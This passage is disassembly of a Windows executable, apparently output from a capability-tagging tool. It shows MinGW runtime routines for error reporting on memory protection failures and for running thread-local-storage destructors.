call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x401c68
mov rax, qword [0x004150c8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x402300
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x00415120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00415100]
test rbx, rbx
je 0x40235c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x402353
test eax, eax
jne 0x402353
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402338
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]